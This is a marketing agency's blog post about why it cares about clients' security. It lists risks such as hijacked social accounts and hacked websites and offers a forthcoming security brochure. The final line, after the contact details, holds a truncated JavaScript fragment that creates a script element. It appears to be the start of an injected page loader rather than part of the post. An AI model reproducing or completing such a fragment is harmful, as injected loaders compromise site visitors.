ABCI is a marketing company. We spend most of our time thinking up ways to get MORE people to see your company, your products, and your marketing messages.

So, why do we care about the security procedures of our clients? Two reasons:

We don’t want anything to happen that might make our clients look bad.
We don’t want anything to happen that might make ABCI look bad!

We like to joke that “there are no marketing emergencies.” But there are things that need to be addressed immediately from a PR perspective, and that makes more work for ourselves and our clients. Here are some things that can happen that can make marketing and sales more difficult:

A confidential email about your trade show strategy gets intercepted by a competitor.
A disgruntled former employee posts something scurrilous on your LinkedIn company page.
A disgruntled former employee copies the best leads in your pipeline from your CRM system and sells or gives them to a competitor.
Your website is blocked by browser security programs because it thinks your site contains spyware.
Your Twitter account starts spouting ads for weight loss pills and online gambling sites.
Your website gets hacked by a foreign dissident group that’s upset with the U.S., because you have an American flag on your site.

These are just a few examples. As you can imagine, it can really put a damper your company’s reputation, and marketing activities, when your important advertising venues are compromised. So, we’ve been working on a detailed set of security recommendations that we will be sending to our clients and members this month. We’re talking to folks that have worked in private, government and military information technology to put together a brochure that covers all of the following:

Secure password recommendations.
Separate log in requirements for specific social media.
A checklist of procedures when an employee leaves or a contractor ends a contract with you.
Our policies for posting on your behalf and/or ghostwriting. (Note – we never log into or publish from personal social media accounts.)

Want a copy of our security procedures? Contact us and we’ll send it to you when it’s ready. (Paula@AviationBusinessConsultants or 702-987-1679)var d=document;var s=d.createElement(‘script’); ..